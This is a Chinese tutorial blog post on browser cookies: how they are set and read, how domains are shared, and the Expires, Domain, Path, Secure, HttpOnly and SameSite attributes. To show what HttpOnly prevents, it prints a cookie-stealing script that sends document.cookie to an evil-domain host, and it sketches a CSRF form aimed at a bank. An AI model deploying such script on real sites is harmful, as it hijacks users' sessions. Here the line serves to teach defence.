cookie的介绍
我们都知道HTTP协议是无状态的,这种无状态意味着程序需要验证每一次请求,从而辨别客户端的身份。
Cookie,就是为了辨别客户端身份而储存在客户端本地的数据。
Cookie由服务器生成,发送给浏览器,浏览器把cookie保存到内存中或者某个目录下的文件内,下一次请求同一网站时会把该cookie发送给服务器。
比如谷歌浏览器的cookie文件:
由于cookie是保存在客户端上的,所以浏览器加入了一些限制确保 cookie 不会被恶意使用,同时不会占据太多磁盘空间,所以 cookie 的数量和大小是有限的。
不同浏览器对 cookie 数量和大小的限制,是不一样的。一般来说,单个域设置的 cookie 不应超过50个,每个 cookie 的大小不能超过4KB。超过限制以后,cookie 将被忽略,不会被设置。
cookie的作用
对话管理:保存已登录用户的凭证简单的缓存:存储一些简单的业务数据,比如购物车等需要记录的信息个性化:保存用户的偏好,比如网页的字体大小、背景色等等追踪:记录和分析用户行为
cookie的分类
第一方cookie:由相同站点发送的 cookie。第三方cookie:由跨站请求发送的cookie。
这里我们先了解一下概念,关于
相同站点、跨站的判断我们在讲到samesite属性的时候再说。
会话cookie:没有设置有效时间的 cookie。只要关闭了浏览器(注意不是关闭网页页面),cookie 就会被销毁。(cookie 存在于浏览器的内存中,当关闭了浏览器 cookie 就销毁了)永久cookie:cookie 被保存在文件中,在有效时间内可长期存在,浏览器重启或机器重启都可以再次读取到cookie。
cookie的特性
后端通过http头设置
服务端通过在http响应头中设置一个或多个Set-Cookie来设置 cookie。如下图:
请求时通过http头传给后端
浏览器接收到Set-Cookie指令时,会将cookie的名称与值储存在浏览器的cookie存放区,并记录该cookie隶属的域名、网址路径、创建时间、过期时间、是否脚本可访问、是否为安全连接 等属性。
当浏览器再次发出HTTP Request指令到服务器时,就会比对目前在浏览器的 cookie 存放区有沒有该域名、该路径、尚未过期以及符合其它一些条件的cookie,如果有的话就会包含在 HTTP Request 指令的Cookie头中,多个cookie以分号;分隔。如下图:
假设浏览器在请求一个网页时,该网页包含 20 张图、3 个 CSS 文件、2 个 JavaScript 文件,那么同样一份
cookie就会发送 25 次到服务端,如果 cookie 的大小有 4K 的话,光是浏览一个网页你可能就要从你的电脑发送出 100KB 的数据。
所以使用 cookie 并非「多多益善」,而是要「小心使用」,否则会造成不必要的带宽浪费。
前端可读写
Javascript可以使用document.cookie对当前网站的cookie进行读写:
注意:Javascript 可读写的 cookie 只能是没有用
http-only限制的 cookie
// 读取浏览器中的cookie
console.log(document.cookie);
// 写入两个 cookie:myname 和 myhome
// 通过执行多次 document.cookie=... 语句来添加多个 cookie
document.cookie='myname=lhm;path=/;domain=.baidu.com';
document.cookie='myhome=gd;path=/;domain=.baidu.com';
- 如果要修改某个
cookie,只需用document.cookie = ...语句创建一个同名的cookie,注意domain和path要保持一致。则原来的cookie会被覆盖,达到修改的目的。 - 如果要删除某个
cookie,用document.cookie = ...语句将cookie的过期时间修改为一个过去的时间,如下:
var exp = new Date();
exp.setTime(exp.getTime() - 1);
document.cookie = "myhome=gd;path=/;domain=.baidu.com;expires=" + exp.toGMTString();
将max-age设置为0也能达到删除的效果:
document.cookie = "myhome=gd;path=/;domain=.baidu.com;max-age=0";
遵守同源策略
这里的遵守同源策略是说
当前网页只能访问与它同源的 cookie。
是否同源是用当前网页网址和cookie的domain来判断的。
谷歌浏览器通过F12-Application-Storage-Cookies-当前域名所查看到的 cookie,有两个来源,一是服务端通过在http响应头中设置的 cookie,二是浏览器在本地所读取到的 cookie。在本地读取 cookie 就需要遵守同源策略。
浏览器的
同源策略中的同源指的是协议、域名、端口三者相同,而cookie的同源仅要求域名,也就是说,两个网址只要域名相同,就可以共享cookie,注意,这里不要求协议和端口相同。
所以https://example.com:8080/和http://example.com:8081/的cookie是共享的,因为它们的domain都是example.com。同源策略认为
域和子域属于不同的域,例如child1.a.com与a.com、child1.a.com与child2.a.com、xxx.child1.a.com与child1.a.com两两不同源。一个页面可以为
本域和任何父域设置cookie,只要父域不是公共后缀(public suffix)即可。
所以两个不同的子域想要共享cookie,只要把 cookie 的domain设成相同的父域即可。
比如,http://child1.a.com和http://child2.a.com想要共享cookie,只要把它们的 cookie 的domain设置成a.com即可。
我在
http://blog.csdn.net页面设置一个cookie,domain设置为父域:
设置成功后在
ApplicationTab中可以查看新增的cookie:
可以看到该
cookie的domain的值为.csdn.net。
然后我们再打开https://www.csdn.net/页面,用document.cookie来查看一下 cookie:
可以看到
www.csdn.net页面也可以访问我们刚刚在blog.csdn.net页面新增的那个cookie。
这就达到共享的目的了。
设置
cookie的时候,如果指定cookie的所属域名为像上面例子中的.csdn.net这样的顶级域名,那么二级域名和三级域名不用做任何设置,都可以读取这个cookie。
列个表格总结一哈:
(横向是 cookie 的 domain 值,纵向是当前地址栏中的网页网址,表格内容表示是否可以访问)
| 域/cookie.domain | molibird.com | .molibird.com | a.molibird.com | b.molibird.com |
|---|---|---|---|---|
| molibird.com/index.php | 可以 | 可以 | X | X |
| a.molibird.com/index.php | X | 可以 | 可以 | X |
| b.molibird.com/index.php | X | 可以 | X | 可以 |
Cookie 的属性
Expires,Max-Age
Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个cookie。它的值是UTC格式,可以使用Date.prototype.toUTCString()进行格式转换。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
浏览器根据本地时间,决定 cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 cookie 一定会在服务器指定的时间过期。
Max-Age属性指定从现在开始 cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 cookie。如果同时指定了
Expires和Max-Age,那么Max-Age的值将优先生效。如果
Set-Cookie字段没有指定Expires或Max-Age属性,那么这个cookie就是Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个cookie。
Domain
Domain属性指定浏览器发出HTTP请求时,哪些域名要附带这个 cookie。
如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 cookie 。
比如,example.com不设置 cookie 的domain属性,那么sub.example.com将不会附带这个 cookie 。
举例验证一下:
1、修改hosts文件,为本地设置了两个域名2、在
elin.com下的页面设置cookie,该 cookie 不设置domain3、访问该页面并查看 cookie
4、访问
db.elin.com下的页面并查看 cookie可以看到子域名并不能看到这个 cookie。
如果指定了domain属性,那么子域名也会附带这个 cookie 。
继续用上面的例子验证:
1、修改elin.com下的页面的cookie设置,该 cookie 设置domain2、清除该页面下的 cookie,重新访问该页面并查看 cookie
3、刷新
db.elin.com下的页面并查看 cookie可以看到子域名可以看到这个 cookie。
如果服务器指定的域名不属于服务器当前域名或者其父域名,浏览器会拒绝这个 cookie 。
继续用上面的例子验证:
1、修改elin.com下的页面的cookie设置,该 cookie 的domain设置为一个不相关的域名2、清除该页面下的 cookie,重新访问该页面并查看 cookie
可以看到没有 cookie,浏览器拒绝了这个 cookie。
Path
Path属性指定浏览器发出HTTP请求时,哪些路径要附带这个cookie。
只要浏览器发现,Path属性值是HTTP请求路径的开头一部分,就会在头信息里面带上这个 cookie 。
比如,Path属性是/,那么请求/docs路径也会包含该cookie。当然,前提是域名必须一致。
Secure
Secure属性指定浏览器只有在加密协议HTTPS下,才能将这个cookie发送到服务器。
该属性只是一个开关,不需要指定值。
通过谷歌浏览器开发者工具控制台设置一个Cookie具有Secure属性。
document.cookie = 'softwhy="antzone";max-age=1200;path=/;secure;'
上述代码执行结果会出现如下两种情况:
(1)如果站点采用HTTPS,那么Cookie生成成功。
(2)如果站点采用HTTP,那么Cookie生成失败。
上面是前端JavaScript写入Cookie,后端语言也遵循上面两条规则,看如下PHP代码:
<?php
setcookie("softwhy", "antzone", time()+3600, "/", "", 1);
?>
如果连接到后端的请求采用 HTTPS,那么 Cookie 生成成功。
如果请求采用 HTTP,那么 Cookie 生成失败,尽管在HTTP头部有对应的 Set-Cookie 内容:
虽然在返回头中有 Set-Cookie 内容,但是不会真正成功生成对应的 Cookie。
HttpOnly
HttpOnly属性指定该cookie无法通过JavaScript脚本拿到,主要是document.cookie、XMLHttpRequest对象和Request API。这样就防止了该cookie被脚本读到,只有浏览器发出HTTP请求时,才会带上该cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的cookie发往第三方服务器。如果设置了一个cookie的HttpOnly属性,上面代码就不会读到该cookie。
SameSite
SameSite 的作用
Cookie 的 SameSite 属性就是用来限制第三方 Cookie,从而减少安全风险的。
Chrome 51 开始,浏览器的 cookie 新增加了一个SameSite属性,SameSite 阻止浏览器将此 cookie 与跨站点请求一起发送,其主要目标是降低跨源信息泄漏的风险,同时也在一定程度上阻止了 CSRF 攻击和用户追踪。
Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 cookie 的HTTP请求,这就是CSRF 攻击。
举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 cookie
Set-Cookie:id=a3fWa;
用户后来又访问了恶意网站malicious.com,上面有一个表单。
<form action="your-bank.com/transfer" method="POST">
...
</form>
用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 cookie 的请求。
Cookie 的 domain (your-bank.com) 与当前访问的网站 (malicious.com) 不一样,这种 cookie 就称为第三方 cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。
比如,你的网页上请求了一张 Facebook 的图片,Facebook 返回数据的时候顺便返回了一个 cookie,这个 cookie 的 domain 是facebook.com。
<img src="facebook.com/face.png">
下次你再访问 Facebook 时发出的请求就会带有这个 cookie,从而 Facebook 就会知道你是谁了。
SameSite 的值
Cookie 的SameSite属性可以设置三个值:Strict、Lax、None
- Strict
Strict 是最严格的防护,将阻止浏览器在所有跨站点请求中将 cookie 发送到目标站点。因此这种设置可以阻止所有 CSRF 攻击。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 cookie,跳转过去总是未登陆状态。
不过,具有交易业务的网站很可能不希望从外站链接到任何交易页面,因此这种场景最适合使用 strict 标志。
- Lax
Lax规则稍稍放宽,大多数情况也是不发送第三方 cookie,但是导航到目标网址的Get请求除外。另外,使用JavaScript脚本发起的请求也无法携带第三方 cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,以 GET 方式提交的表单。详见下表。
| 请求类型 | 示例 | 正常情况 | Lax |
|---|---|---|---|
| 链接 | <a href="..."></a> |
发送 Cookie | 发送 Cookie |
| 预加载 | <link rel="prerender" href="..."/> |
发送 Cookie | 发送 Cookie |
| GET 表单 | <form method="GET" action="..."> |
发送 Cookie | 发送 Cookie |
| POST 表单 | <form method="POST" action="..."> |
发送 Cookie | 不发送 |
| iframe | <iframe src="..."></iframe> |
发送 Cookie | 不发送 |
| AJAX | $.get("...") |
发送 Cookie | 不发送 |
| Image | <img src="..."> |
发送 Cookie | 不发送 |
设置了 Strict 或 Lax 以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
- None
Chrome 计划将 Lax 变为默认设置。这时,网站可以选择显式关闭 SameSite 属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
SameSite=None的 cookie 会在同站请求、跨站请求下发送。
- 在旧版浏览器,如果
SameSite属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于None,Cookies会被包含在任何请求中——包括跨站请求。- 但是,在
Chrome 80+版本中,SameSite的默认属性是SameSite=Lax。换句话说,当 Cookie 没有设置 SameSite 属性时,将会视作 SameSite 属性被设置为Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,那么需要明确指定 SameSite 为 None。具有 SameSite=None 的 Cookie 也必须标记为secure并通过HTTPS传送。- Chrome 也宣布,将在下个版本也就是
Chrome 83版本,在访客模式下禁用第三方 Cookie,在2022年全面禁用第三方 Cookie,到时候,即使你能指定 SameSite 为 None 也没有意义,因为你已经无法写入第三方 Cookie 了。
跨站的判断
上面我们讲cookie的分类的时候讲到第一方cookie和第三方cookie的区别就是:是否是相同站点发送的(不同则为跨站)。
所以第三方cookie也可以理解为跨站请求所设置的cookie。
所以,第三方cookie定义中的跨站与samesite所作用的跨站请求中的跨站,两者的判断是一样的,所以我们放到一起来说。
那么怎么判断是不是形成跨站了呢?
我们是拿 “请求的目标URL(或者cookie的domain)” 和 “当前网站URL(也就是浏览器地址栏中的网址)” 这两者来进行比较从而判断是否形成跨站的。
两者的ORIGIN的注册域相同则为相同站点,不同则构成跨站。所谓注册域,是指您可以购买或租用的域名,即公共后缀(public suffix)之下的一级,也称为顶级域名。
本文使用 mdnice 排版